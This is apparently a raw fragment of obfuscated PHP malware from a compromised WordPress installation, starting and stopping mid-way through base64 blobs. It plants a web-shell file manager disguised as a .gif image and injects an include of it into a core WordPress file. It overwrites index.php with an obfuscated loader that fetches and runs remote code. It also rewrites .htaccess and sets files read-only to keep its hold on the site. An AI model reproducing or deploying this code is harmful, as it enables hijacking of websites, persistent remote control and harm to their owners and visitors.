dkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5